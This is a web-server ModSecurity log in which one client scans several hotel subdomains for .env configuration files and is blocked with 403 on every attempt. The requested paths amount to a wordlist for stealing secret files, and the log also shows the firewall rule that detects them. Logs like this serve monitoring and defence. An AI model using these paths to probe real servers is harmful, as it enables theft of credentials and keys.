[Tue Oct 27 01:43:47.098236 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auA6Ew67030o4-ZAUjLpugAAAAg"]
[Tue Oct 27 01:43:47.098488 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auA6Ew67030o4-ZAUjLpugAAAAg"]
[Tue Oct 27 01:43:47.114458 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuwAAAAg"]
[Tue Oct 27 01:43:47.114604 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuwAAAAg"]
[Tue Oct 27 01:43:47.114857 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auA6Ew67030o4-ZAUjLpuwAAAAg"]
[Tue Oct 27 01:43:47.151531 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvAAAAAg"]
[Tue Oct 27 01:43:47.151737 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvAAAAAg"]
[Tue Oct 27 01:43:47.151989 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvAAAAAg"]
[Tue Oct 27 01:43:47.173254 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvQAAAAg"]
[Tue Oct 27 01:43:47.173438 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvQAAAAg"]
[Tue Oct 27 01:43:47.173659 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvQAAAAg"]
[Tue Oct 27 01:43:47.238568 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6E0tgBhmk9Q7hbpqXwQAAAAs"]
[Tue Oct 27 01:43:47.238939 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6E0tgBhmk9Q7hbpqXwQAAAAs"]
[Tue Oct 27 01:43:47.239183 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auA6E8qawth2HP9RxtL-1gAAAAY"]
[Tue Oct 27 01:43:47.239347 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auA6E8qawth2HP9RxtL-1gAAAAY"]
[Tue Oct 27 01:43:47.239354 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auA6E0tgBhmk9Q7hbpqXwQAAAAs"]
[Tue Oct 27 01:43:47.239562 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auA6E8qawth2HP9RxtL-1gAAAAY"]
[Tue Oct 27 01:43:47.256327 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6E0tgBhmk9Q7hbpqXwgAAAAs"]
[Tue Oct 27 01:43:47.256554 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6E0tgBhmk9Q7hbpqXwgAAAAs"]
[Tue Oct 27 01:43:47.256859 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auA6E0tgBhmk9Q7hbpqXwgAAAAs"]
[Tue Oct 27 01:43:47.278679 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6E8kbbDK06qDUYmCotQAAAAU"]
[Tue Oct 27 01:43:47.278842 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6E8kbbDK06qDUYmCotQAAAAU"]
[Tue Oct 27 01:43:47.279116 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6E8kbbDK06qDUYmCotQAAAAU"]
[Tue Oct 27 01:43:47.301258 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auA6E8qawth2HP9RxtL-1wAAAAY"]
[Tue Oct 27 01:43:47.301422 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auA6E8qawth2HP9RxtL-1wAAAAY"]
[Tue Oct 27 01:43:47.301685 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auA6E8qawth2HP9RxtL-1wAAAAY"]
[Tue Oct 27 01:43:47.326170 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6E8kbbDK06qDUYmCotgAAAAU"]
[Tue Oct 27 01:43:47.326331 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6E8kbbDK06qDUYmCotgAAAAU"]
[Tue Oct 27 01:43:47.326548 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6E8kbbDK06qDUYmCotgAAAAU"]
[Tue Oct 27 01:43:47.363588 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6E0tgBhmk9Q7hbpqXwwAAAAs"]
[Tue Oct 27 01:43:47.363786 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6E0tgBhmk9Q7hbpqXwwAAAAs"]
[Tue Oct 27 01:43:47.364075 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6E0tgBhmk9Q7hbpqXwwAAAAs"]
[Tue Oct 27 01:43:47.371204 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvgAAAAg"]
[Tue Oct 27 01:43:47.371356 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvgAAAAg"]
[Tue Oct 27 01:43:47.371585 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auA6Ew67030o4-ZAUjLpvgAAAAg"]
[Tue Oct 27 01:43:47.389285 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auA6E8qawth2HP9RxtL-2AAAAAY"]
[Tue Oct 27 01:43:47.389463 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auA6E8qawth2HP9RxtL-2AAAAAY"]
[Tue Oct 27 01:43:47.389709 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auA6E8qawth2HP9RxtL-2AAAAAY"]
[Tue Oct 27 01:43:47.392183 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6E8kbbDK06qDUYmCotwAAAAU"]
